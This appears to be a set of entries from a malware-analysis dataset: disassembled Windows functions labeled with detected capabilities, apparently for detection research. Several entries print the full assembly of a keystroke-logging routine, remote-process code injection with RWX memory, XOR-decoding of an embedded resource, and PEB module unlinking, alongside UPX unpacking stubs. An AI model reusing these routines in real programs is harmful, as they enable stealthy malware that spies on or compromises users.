joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45a192
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
movzx eax, byte [ebp + 0x10]
test eax, eax
je 0x45a1ca
lea eax, [ebp + 0x14]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0xc], eax
push 1
push dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
push eax
push 0x1c61
call fcn.0045a2bf
add esp, 0x10
jmp 0x45a2bb
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x24], eax
lea eax, [ebp + 0xc]
mov dword [ebp - 0x28], eax
lea eax, [ebp + 0x24]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x20], eax
lea eax, [ebp + 0x18]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
movzx eax, byte [eax]
test eax, eax
je 0x45a23e
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
movzx eax, byte [eax]
test eax, eax
je 0x45a22e
mov byte [ebp - 1], 0
push 0
push 1
lea eax, [ebp - 1]
push eax
push 0x40e
push 0x42d6
push 0x1968
push 0
push 0x326f
call fcn.00442615
add esp, 0x20
jmp 0x45a23c
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
jmp 0x45a2bb
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
movzx eax, byte [eax]
test eax, eax
je 0x45a270
mov byte [ebp - 2], 0
movzx eax, byte [ebp - 2]
test eax, eax
je 0x45a26e
push 0
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
jmp 0x45a2bb
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 8]
mov dword [eax], 0
jmp 0x45a29e
mov eax, dword [ebp - 8]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 8]
mov dword [ecx], eax
mov eax, dword [ebp - 8]
cmp dword [eax], 2
jge 0x45a2bb
mov eax, dword [ebp - 8]
push dword [eax]
mov ecx, dword [ebp - 0x40]
call fcn.00433e3f
mov dword [eax], 0x5ec62bb2
jmp 0x45a293
mov esp, ebp
pop ebp
ret
Function at 0x45c4cd
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
movzx eax, byte [ebp + 0x20]
test eax, eax
je 0x45c5ba
mov eax, dword [ebp + 0x28]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0x2c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x24], eax
lea eax, [ebp + 0x1c]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x10], eax
lea eax, [ebp + 0xc]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 8]
movzx eax, byte [eax]
test eax, eax
je 0x45c56a
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x30], eax
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push 1
push dword [ebp - 0x30]
push dword [ebp - 0x34]
push dword [ebp - 0x38]
push dword [ebp - 0x3c]
push dword [ebp - 0x40]
call fcn.0045c5dd
add esp, 0x20
jmp 0x45c5b8
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
movzx eax, byte [eax]
test eax, eax
je 0x45c5a6
mov byte [ebp - 1], 0
push 0x6c21
push 1
lea eax, [ebp - 1]
push eax
push 0x5a50
push 0x4f31
push 1
push 0x3f3e
push 1
call fcn.0043e5fd
add esp, 0x20
jmp 0x45c5b8
push 0
push 0x13df
push 0x1bf7
call dword [sym.imp.USER32.dll_AttachThreadInput]
jmp 0x45c5d9
mov eax, dword [ebp + 0x30]
mov dword [ebp - 0x4c], eax
push 0x6d28
push 1
push 1
push 0x58ac
push dword [ebp - 0x4c]
call fcn.00445729
add esp, 0x14
mov esp, ebp
pop ebp
ret
Function at 0x45cd3f
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
movzx eax, byte [ebp + 8]
test eax, eax
je 0x45cf07
lea eax, [ebp + 0x10]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x38], eax
lea eax, [ebp + 0x1c]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x18], eax
lea eax, [ebp + 0x20]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
movzx eax, byte [eax]
test eax, eax
je 0x45ce78
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
movzx eax, byte [eax]
test eax, eax
je 0x45ce5f
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
mov dword [eax], 0xfffffffa
jmp 0x45cdd1
mov eax, dword [ebp - 8]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 8]
mov dword [ecx], eax
mov eax, dword [ebp - 8]
cmp dword [eax], 0xfffffff1
jg 0x45ce5d
mov eax, dword [ebp - 0xc]
mov dword [eax], 0x1a
jmp 0x45cdf3
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0xc]
mov dword [ecx], eax
mov eax, dword [ebp - 0xc]
cmp dword [eax], 0x18
je 0x45ce58
push 1
push 0x4d78
push 0x67e2
push 0x13a0
push 0
push 0x316e
push 1
push 0x539a
push 0x6dde
push 1
push 0x2693
push 1
call fcn.0044d382
add esp, 0x30
push 1
push 1
push 0x42c4
push 1
push 1
push 0x316b
push 1
push 0x5d6f
push 0x20c1
call fcn.00449d04
add esp, 0x24
jmp 0x45cde8
jmp 0x45cdc6
jmp 0x45ce73
mov byte [ebp - 1], 0
movzx eax, byte [ebp - 1]
test eax, eax
je 0x45ce73
push 0
call dword [sym.imp.ole32.dll_CoTaskMemFree]
jmp 0x45cf05
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
movzx eax, byte [eax]
test eax, eax
je 0x45cee8
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [eax], 0
jmp 0x45ceb0
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x10]
mov dword [ecx], eax
mov eax, dword [ebp - 0x10]
cmp dword [eax], 2
jg 0x45cee6
mov byte [ebp - 2], 0
push 0x7cbe
lea eax, [ebp - 2]
push eax
push 1
push 0x71b8
push 1
push 1
push 0x3f8b
push 0
push 0x4f24
call fcn.00449b90
add esp, 0x24
jmp 0x45cea5
jmp 0x45cf05
push 0
push 0
push 0
push 0
push 0x1314
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
jmp 0x45cf41
lea eax, [ebp + 0x24]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
movzx eax, byte [eax]
test eax, eax
je 0x45cf2d
push 0x7128
push 0
push 0x4f2c
call fcn.00445484
add esp, 0xc
jmp 0x45cf41
push 0x7471
push 0x9f9
push 0
call fcn.00452b69
add esp, 0xc
mov esp, ebp
pop ebp
ret
Function at 0x49a4e1
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret
Function at 0x4af5cf
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4c26c4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.004962bf
mov dword [ebp - 0x14], eax
cmp dword [0xac1b8c], esi
jne 0x4af6c2
push 0x800
push esi
push 0xab5d2c
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x4af64f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x4af7a2
push esi
push esi
push 0xab5d2c
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x4af7a2
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4af7a2
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0xac1b8c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0xac1b90], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0xac1b94], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0xac1b9c], eax
test eax, eax
je 0x4af6bf
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0xac1b98], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x4af6e7
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x4af6da
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x4af6fc
push 4
pop eax
jmp 0x4af7a4
cmp dword [ebp - 0x14], esi
je 0x4af6fc
push dword [0xac1b8c]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x4af6e1
mov eax, dword [0xac1b98]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x4af75a
cmp dword [0xac1b9c], edi
je 0x4af75a
push eax
call ebx
push dword [0xac1b9c]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x4af75a
test eax, eax
je 0x4af75a
call ecx
test eax, eax
je 0x4af74f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x4af74f
test byte [ebp - 8], 1
jne 0x4af75a
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x4af78a
mov eax, dword [0xac1b90]
cmp eax, edi
je 0x4af787
push eax
call ebx
test eax, eax
je 0x4af787
call eax
mov esi, eax
test esi, esi
je 0x4af787
mov eax, dword [0xac1b94]
cmp eax, edi
je 0x4af787
push eax
call ebx
test eax, eax
je 0x4af787
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0xac1b8c]
call ebx
test eax, eax
je 0x4af7a2
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x4af7a4
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004953cb
mov esp, ebp
pop ebp
ret
Function at 0x5000c0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xba000]
push edi
or ebp, 0xffffffff
jmp 0x5000e2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x5000e9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5000d8
mov eax, 1
add ebx, ebx
jne 0x5000fb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x50010c
jne 0x50012b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x50012b
dec eax
add ebx, ebx
jne 0x500118
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x5000f0
add ebx, ebx
jne 0x500127
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x50017d
xor ecx, ecx
sub eax, 3
jb 0x500143
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x5001b2
sar eax, 1
mov ebp, eax
jmp 0x50014e
add ebx, ebx
jne 0x50014e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x50011c
inc ecx
add ebx, ebx
jne 0x50015c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x50011c
add ebx, ebx
jne 0x500169
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x50015e
jne 0x50017a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x50015e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x50019c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x50018e
jmp 0x5000de
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x50019c
add edi, ecx
jmp 0x5000de
pop esi
mov edi, esi
mov ecx, 0x3695
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x5001ba
cmp byte [edi], 0x11
jne 0x5001ba
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x5001bf
lea edi, [esi + 0xfe000]
mov eax, dword [edi]
or eax, eax
je 0x50022e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x102278]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x102304]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x5001ec
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x102308]
or eax, eax
je 0x500228
mov dword [ebx], eax
add ebx, 4
jmp 0x500209
call dword [esi + 0x102318]
mov ebp, dword [esi + 0x10230c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x20f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x500262
sub esp, 0xffffff80
jmp 0x455e46
Function at 0x59bcd0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xb0000]
push edi
jmp 0x59bcea
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x59bcf1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x59bce0
mov eax, 1
add ebx, ebx
jne 0x59bd03
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x59bd14
jne 0x59bd33
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x59bd33
dec eax
add ebx, ebx
jne 0x59bd20
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x59bcf8
add ebx, ebx
jne 0x59bd2f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x59bd85
xor ecx, ecx
sub eax, 3
jb 0x59bd4b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x59bdba
sar eax, 1
mov ebp, eax
jmp 0x59bd56
add ebx, ebx
jne 0x59bd56
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x59bd24
inc ecx
add ebx, ebx
jne 0x59bd64
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x59bd24
add ebx, ebx
jne 0x59bd71
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x59bd66
jne 0x59bd82
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x59bd66
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x59bda4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x59bd96
jmp 0x59bce6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x59bda4
add edi, ecx
jmp 0x59bce6
pop esi
mov edi, esi
mov ecx, 0x4ee4
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x59bdc2
cmp byte [edi], 0x13
jne 0x59bdc2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x59bdc7
lea edi, [esi + 0x197000]
mov eax, dword [edi]
or eax, eax
je 0x59be36
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1d2e3c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1d2f00]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x59bdf4
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1d2f08]
or eax, eax
je 0x59be30
mov dword [ebx], eax
add ebx, 4
jmp 0x59be11
call dword [esi + 0x1d2f04]
mov ebp, dword [esi + 0x1d2f0c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x227]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x59be6a
sub esp, 0xffffff80
jmp 0x4ad0e6
Function at 0x401210
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov esi, edx
mov dword [ebp - 0x18], ecx
call edi
push dword [ebp + 8]
mov dword [ebp - 0x1c], eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x24], eax
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_OpenProcess]
push eax
push 0
push 0x1fffff
call ebx
mov esi, eax
mov edi, 0x401200
mov eax, 0x4011e0
mov dword [ebp - 8], esi
sub eax, 0x4011d0
sub edi, 0x4011e0
push 1
push eax
mov dword [ebp - 4], edi
mov dword [ebp - 0xc], eax
call fcn.004092b3
add esp, 8
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x14]
push ecx
push dword [ebp - 0xc]
push eax
push 0x4011d0
push esi
mov esi, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
call esi
push 1
push edi
call fcn.004092b3
add esp, 8
mov edi, eax
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 4]
push edi
push 0x4011e0
push dword [ebp - 8]
call esi
push dword [ebp - 0x18]
push 0
push 0x1fffff
call ebx
mov ebx, dword [ebp - 4]
push 0x40
push 0x3000
push ebx
push 0
push eax
mov dword [ebp - 0x18], eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push dword [ebp - 8]
mov esi, eax
mov eax, dword [ebp - 0x10]
mov dword [eax + 1], esi
mov eax, dword [ebp - 0x1c]
mov dword [edi + 5], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x20]
push eax
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push esi
mov esi, dword [ebp - 0x18]
push esi
call edi
test eax, eax
je 0x401313
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0xc]
push dword [ebp - 0x10]
push dword [ebp - 0x24]
push esi
call edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403280
Capabilities:
Encode data using xor
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x58
mov eax, dword [0x427004]
xor eax, esp
mov dword [esp + 0x54], eax
push esi
push edi
call fcn.004021b0
test al, al
jne 0x40347f
call fcn.00401f50
test al, al
jne 0x40347f
push 0xa
push 7
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov dword [esp + 0x1c], eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edx, dword [0x428ac8]
mov edi, eax
mov eax, dword [0x428acc]
mov ecx, eax
sub ecx, edx
mov dword [esp + 0x10], eax
cmp edi, ecx
jae 0x4032f8
lea ecx, [edx + edi]
mov dword [0x428acc], ecx
jmp 0x40332c
jbe 0x40332c
mov eax, dword [0x428ad0]
sub eax, edx
cmp edi, eax
jbe 0x40330e
push ecx
push edi
call fcn.004034f0
jmp 0x40332c
mov esi, edi
sub esi, ecx
push esi
push 0
push dword [esp + 0x18]
call fcn.00407670
mov eax, dword [esp + 0x1c]
add esp, 0xc
add eax, esi
mov dword [0x428acc], eax
push edi
push dword [esp + 0x18]
push dword [0x428ac8]
call fcn.00407810
add esp, 0xc
call fcn.004021b0
test al, al
jne 0x40347f
call fcn.00401f50
test al, al
jne 0x40347f
lea ecx, [esp + 0x18]
call fcn.004030c0
sub esp, 0x18
lea eax, [esp + 0x30]
mov ecx, esp
push eax
call fcn.00401cc0
call fcn.004024c0
mov edx, eax
mov dword [esp + 0x58], 0
mov ecx, edx
mov dword [esp + 0x5c], 0
xorps xmm0, xmm0
add esp, 0x18
movaps xmmword [esp + 0x30], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x403398
sub ecx, esi
push ecx
push edx
lea ecx, [esp + 0x38]
call fcn.00401820
mov eax, dword [0x428acc]
xor esi, esi
mov ecx, dword [0x428ac8]
mov edi, dword [esp + 0x30]
mov dword [esp + 0x10], ecx
sub eax, ecx
je 0x4033f9
cmp dword [esp + 0x44], 0x10
lea ecx, [esp + 0x30]
mov eax, esi
cmovae ecx, edi
xor edx, edx
div dword [esp + 0x40]
mov al, byte [edx + ecx]
mov ecx, dword [esp + 0x10]
xor byte [esi + ecx], al
inc esi
mov eax, dword [0x428acc]
mov ecx, dword [0x428ac8]
sub eax, ecx
mov dword [esp + 0x10], ecx
cmp esi, eax
jne 0x4033c5
mov eax, dword [esp + 0x44]
cmp eax, 0x10
jb 0x403429
lea ecx, [eax + 1]
mov eax, edi
cmp ecx, 0x1000
jb 0x40341f
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403494
push ecx
push edi
call fcn.00405e0a
add esp, 8
mov ecx, dword [esp + 0x2c]
cmp ecx, 0x10
jb 0x40345b
mov edx, dword [esp + 0x18]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403451
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403494
push ecx
push edx
call fcn.00405e0a
add esp, 8
call fcn.004021b0
test al, al
jne 0x40347f
call fcn.00401f50
test al, al
jne 0x40347f
mov eax, dword [0x428acc]
sub eax, dword [0x428ac8]
je 0x40347f
call fcn.00402b70
mov ecx, dword [esp + 0x5c]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.0040597e
mov esp, ebp
pop ebp
ret 0x10
call fcn.00409687
int3
Function at 0x403f20
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
mov eax, dword [0x427004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor edx, edx
mov dword [ebp - 0x220], ecx
push esi
push edi
mov dword [ebp - 0x214], 0
mov dword [ebp - 0x208], 0
mov dword [ebp - 0x210], edx
mov dword [ebp - 0x218], edx
pushal
mov eax, dword fs:[0x30]
mov dword [ebp - 0x214], eax
popal
mov eax, dword [ebp - 0x214]
mov ecx, dword [eax + 0xc]
xor eax, eax
mov dword [ebp - 0x21c], ecx
mov ebx, dword [ebp - 0x21c]
sub eax, 0
je 0x403fc2
sub eax, 1
je 0x403faa
sub eax, 1
jne 0x403fd7
lea ebx, [ecx + 0x1c]
mov ecx, 0x10
mov eax, ebx
mov dword [ebp - 0x208], ecx
mov dword [ebp - 0x20c], eax
jmp 0x403fe3
lea ebx, [ecx + 0x14]
mov ecx, 8
mov eax, ebx
mov dword [ebp - 0x208], ecx
mov dword [ebp - 0x20c], eax
jmp 0x403fe3
lea ebx, [ecx + 0xc]
xor ecx, ecx
mov eax, ebx
mov dword [ebp - 0x208], ecx
mov dword [ebp - 0x20c], eax
jmp 0x403fe3
mov eax, dword [ebp - 0x20c]
mov ecx, dword [ebp - 0x208]
mov edi, dword [ebx]
cmp edi, eax
je 0x404085
nop dword [eax]
mov esi, edi
xor eax, eax
sub esi, ecx
mov ebx, edi
movzx ecx, word [esi + 0x24]
test ecx, 0xfffffffe
jbe 0x404023
cmp eax, 0x200
jge 0x404028
mov ecx, dword [esi + 0x28]
mov cl, byte [ecx + eax*2]
mov byte [ebp + eax - 0x204], cl
inc eax
movzx ecx, word [esi + 0x24]
shr ecx, 1
cmp eax, ecx
jl 0x404004
cmp eax, 0x200
jae 0x4040ce
push dword [ebp - 0x220]
mov byte [ebp + eax - 0x204], 0
lea eax, [ebp - 0x204]
push eax
call fcn.00407220
add esp, 8
test eax, eax
je 0x40406f
mov ecx, dword [edi + 4]
mov eax, dword [edi]
mov dword [ecx], eax
mov ecx, dword [edi]
mov eax, dword [edi + 4]
mov dword [ecx + 4], eax
mov eax, dword [ebp - 0x210]
test eax, eax
cmovne esi, eax
mov dword [ebp - 0x210], esi
mov eax, dword [edi]
mov edi, eax
mov ecx, dword [ebp - 0x208]
cmp eax, dword [ebp - 0x20c]
jne 0x403ff0
mov eax, dword [ebp - 0x218]
inc eax
mov dword [ebp - 0x218], eax
cmp eax, 3
jge 0x4040a2
mov ecx, dword [ebp - 0x21c]
jmp 0x403f83
mov edx, dword [ebp - 0x210]
test edx, edx
je 0x4040bd
mov ecx, dword [edx + 0x40]
mov eax, dword [edx + 0x3c]
mov dword [ecx], eax
mov ecx, dword [edx + 0x3c]
mov eax, dword [edx + 0x40]
mov dword [ecx + 4], eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040597e
mov esp, ebp
pop ebp
ret
call fcn.00405aae
int3